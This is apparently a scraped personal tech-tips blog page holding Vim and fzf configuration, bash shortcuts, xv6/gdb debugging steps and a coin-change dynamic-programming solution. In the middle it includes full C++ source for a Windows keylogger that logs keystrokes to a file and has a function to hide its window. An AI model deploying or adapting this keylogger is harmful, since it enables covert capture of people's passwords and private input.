file1.txt
Hello word
Este é um blog onde anoto dicas técnicas de informática e computação. This is a blog where I write down technical tips on computing. Be aware that some resources used in this blog may use cookies to collect information used by Ads and Google Analytics. I do not monetize from this website, neither require or use personal information.
command! -nargs=1 SH let @/ = '\V'.escape(<q-args>, '\')|set hlsearch
nnoremap <C-y> _vg_y<Esc>:SH <C-r>"<CR>
_ go to first non-space character in line
g_ go to last non-space character in line
v start visual selection
y copy selection
<C-r>" paste copied selection
FZF is nice cli program that allow quick file navigation that find files as you type.
BAT is nice replacement for cat with highlight features
sudo apt install fzf
sudo apt install bat
Using fzf together with batcat to source code files and preview it with syntax highlight
fzf --preview 'batcat --style=numbers --color=always --line-range :500 {}'
.bashrc
source /usr/share/doc/fzf/examples/key-bindings.bash
if type rg &> /dev/null; then
export FZF_DEFAULT_COMMAND='rg --files'
export FZF_DEFAULT_OPTS='-m --height 50% --border'
fi
alias findz="fzf --preview 'batcat --style=numbers --color=always --line-range :500 {}'"
_fzf_comprun() {
local command=$1
shift
case "$command" in
cd) fzf --preview 'tree -C {} | head -200' "$@" ;;
export|unset) fzf --preview "eval 'echo \$'{}" "$@" ;;
ssh) fzf --preview 'dig {}' "$@" ;;
*) fzf --preview 'batcat -n --color=always {}' "$@" ;;
esac
}
export FZF_CTRL_R_OPTS="
--preview 'echo {}' --preview-window up:3:hidden:wrap
--bind 'ctrl-/:toggle-preview'
--bind 'ctrl-y:execute-silent(echo -n {2..} | pbcopy)+abort'
--color header:italic
--header 'Press CTRL-Y to copy command into clipboard'"
export FZF_ALT_C_OPTS="--preview 'tree -C {}'"
Usage:
vim $(fzf)
Ctrl+R # open command history
Alt+C # show directories and cd to it
Vim **<tab> #open file list and open with vim
cd **<tab> # open directory list and cd to it
(fzf.vim) .vimrc
command! -bang -nargs=* Rg call fzf#vim#grep("rg --column --line-number --no-heading --color=always --smart-case ".shellescape(<q-args>), 1, {'options': '--delimiter : --nth 4..'}, <bang>0)
set grepprg=rg\ --vimgrep\ --smart-case\ --follow
command! -bang -nargs=? -complete=dir Files
\ call fzf#vim#files(<q-args>, {'options': ['--layout=reverse', '--info=inline', '--preview', '~/.vim/bundle/fzf.vim/bin/preview.sh {}']}, <bang>0)
"Open Files in the bottom
"let g:fzf_layout = { 'up': '40%'}
"let g:fzf_layout = { 'down': '40%'}
To show a background line in the whole column 9 and 17
:set colorcolumn=9,17
or short
:set cc=9,17
To change the color to blue
:highlight ColorColumn ctermbg=blue
For example,
use
f<space> to go to the next space
; to repeat search and go to the othe next space;
f( find next (
;;; go to the fourth (
https://plantuml.com/ + https://pandoc.org/ (other similar tools)
https://graphviz.org/doc/info/command.html
Ex: echo 'digraph { a -> b }' | dot -Tsvg > output.svg
echo 'digraph { a -> b }' | dot -Tsvg -Gfontcolor=red -Glabel="My favorite letters"
Ctrl + a
Go to the beginning of the line
Ctrl + e
Go to the end of the line
Ctrl + f
Move cursor on character forward
Ctrl + b
Move cursor on character backward
Alt + f
Move cursor one word forward
Alt + b
Move cursor one word backward
Ctrl + xx
Go to the beginning of the line and back to current position
Ctrl + u
Deletes the whole line of the text
Ctrl + d
Deletes character under cursor
Alt + d
Delete all characters after the cursor
In linux terminal 1
$ sudo apt-get install qemu-kvm qemu virt-manager virt-viewer
$ git clone git@github.com:mit-pdos/xv6-public.git
$ cd xv6-public
$ make
$ make qemu
$ make qemu-nox-gdb
In linux terminal 2
$ gdb kernel
> target remote localhost:26000
> b exec
> c
> file _cat
> b main
> c
In linux terminal 1
$ cat README
look gdb stoped in breakpoint in terminal 2
Linux
COPY
To copy you may have different scenarios
$ pip install pygments
$ wget -P ~ https://git.io/.gdbinit
If gdb version prior to 7.7 and python prior to 2.7 execute this
$ mkdir -p ~/.gdbinit.d/
$ wget 'https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob_plain;f=gdb/python/lib/gdb/FrameDecorator.py' -O ~/.gdbinit.d/FrameDecorator.py
$ sed -i '1s/^/python gdb.COMPLETE_EXPRESSION = gdb.COMPLETE_SYMBOL\n/' .gdbinit
$ sed -i "s/gdb_breakpoint.temporary/None/g" .gdbinit
$ cat >>~/.gdbinit <<EOF
python
import imp
gdb.FrameDecorator = imp.new_module('FrameDecorator')
gdb.FrameDecorator.FrameDecorator = FrameDecorator
end
EOF
You can also send module to be shown on different terminals
start gdb
$ gdb my_program
in another terminal
$ tty
> /dev/pts/3
in gdb to move Registers to this other terminal
> dashboard breakpoints -output /dev/pts/3
> dashboard variables -output /dev/pts/3
> dashboard -layout variables stack source breakpoints
to Get help
>>> help dashboard
#include <iostream>
#include <windows.h>
#include <winuser.h>
#pragma comment(lib,"user32.lib") //Use this line to get compiled on Visual Studio Code quick
using namespace std;
int Record (int key_stroke, char *file);
void Hide();
int main() {
// Hide();
char i;
while (1) {
for(i = 8; i <= 190; i++) {
if (GetAsyncKeyState(i) == -32767)
Record(i, "keys.log");
}
}
system("pause");
return 0;
}
int Record (int key_stroke, char *file) {
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE * OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", ".");
else if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "TAB");
else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "SHIFT");
else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "ESC");
else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "END");
else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "HOME");
else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "LEFT");
else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "UP");
else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "RIGHT");
else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "DOWN");
else fprintf (OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
void Hide() {
HWND HiddenWindow;
AllocConsole();
HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HiddenWindow, 0);
}
task.json
{
"version": "2.0.0",
"tasks": [
{
"type": "shell",
"label": "cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"problemMatcher": [
"$msCompile"
],
"group": "build"
},
{
"type": "cppbuild",
"label": "C/C++: cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/nologo",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"options": {
"cwd": "${workspaceFolder}"
},
"problemMatcher": [
"$msCompile"
],
"group": {
"kind": "build",
"isDefault": true
},
"detail": "Task generated by Debugger."
}
]
}
create launch.json
{
"version": "0.2.0",
"configurations": [
{
"name": "cl.exe build and debug active file",
"type": "cppvsdbg",
"request": "launch",
"program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"externalConsole": false,
"preLaunchTask": "cl.exe build active file"
}
]
}
http://rinkydinkelectronics.com/t_imageconverter565.php
#include <bits/stdc++.h>
using namespace std;
vector<string> split_string(string);
// recursive
int count(vector<int> &coins, int m, int n) {
if (n == 0)
return 1;
if (n < 0)
return 0;
if (m <= 0 && n >= 1)
return 0;
return count(coins, m-1, n) + count(coins, m, n-coins[m-1]);
}
// recursive with memoization
unsigned long dp[51][251];// global array initialized to 0
unsigned long countDP1(vector<int> & coins, int i, int n)
{
if(n == 0)
return 1; //no coins
if(n < 0)
return 0; //no negative money
if(i == coins.size()) //no more options of coins
return 0;
if(dp[i][n]!=0)
return dp[i][n];
//leave it or take it
return dp[i][n] = countDP1(coins,i+1, n) + countDP1(coins,i, n-coins[i]);
}
//loop with 2D memoization space O(n*m) time O(n*m)
unsigned long countDP2(vector<int> &coins, int m, int n )
{
int i, j;
unsigned long table[n + 1][m], x, y;
for (i = 0; i < m; i++)
table[0][i] = 1;
for (i = 1; i < n + 1; i++)
{
for (j = 0; j < m; j++)
{
// Count of solutions including coins[j]
x = (i-coins[j] >= 0) ? table[i - coins[j]][j] : 0;
// Count of solutions excluding coins[j]
y = (j >= 1) ? table[i][j - 1] : 0;
// total count
table[i][j] = x + y;
}
}
return table[n][m - 1];
}
// loop with 1D memoization space O(n) time O(n*m)
unsigned long countDP( vector<int> &coins, int m, int n )
{
unsigned long table[n + 1];
memset(table, 0, sizeof(table));
table[0] = 1;
for(int i=0; i< m; i++)
for(int j=coins[i]; j <= n; j++)
table[j] += table[j-coins[i]];
return table[n];
}
// Complete the ways function below.
unsigned long ways(int n, vector<int> coins) {
return countDP(coins, coins.size(), n);
//return countDP1(coins, 0, n);
}
int main()
{
ofstream fout(getenv("OUTPUT_PATH"));
string nm_temp;
getline(cin, nm_temp);
vector<string> nm = split_string(nm_temp);
int n = stoi(nm[0]);
int m = stoi(nm[1]);
string coins_temp_temp;
getline(cin, coins_temp_temp);
vector<string> coins_temp = split_string(coins_temp_temp);
vector<int> coins(m);
for (int i = 0; i < m; i++) {
int coins_item = stoi(coins_temp[i]);
coins[i] = coins_item;
}
unsigned long res = ways(n, coins);
fout << res << "\n";
fout.close();
return 0;
}
vector<string> split_string(string input_string) {
string::iterator new_end = unique(input_string.begin(), input_string.end(), [] (const char &x, const char &y) {
return x == y and x == ' ';
});
input_string.erase(new_end, input_string.end());
while (input_string[input_string.length() - 1] == ' ') {
input_string.pop_back();
}
vector<string> splits;
char delimiter = ' ';
size_t i = 0;
size_t pos = input_string.find(delimiter);
while (pos != string::npos) {
splits.push_back(input_string.substr(i, pos - i));
i = pos + 1;
pos = input_string.find(delimiter, i);
}
splits.push_back(input_string.substr(i, min(pos, input_string.length()) - i + 1));
return splits;
}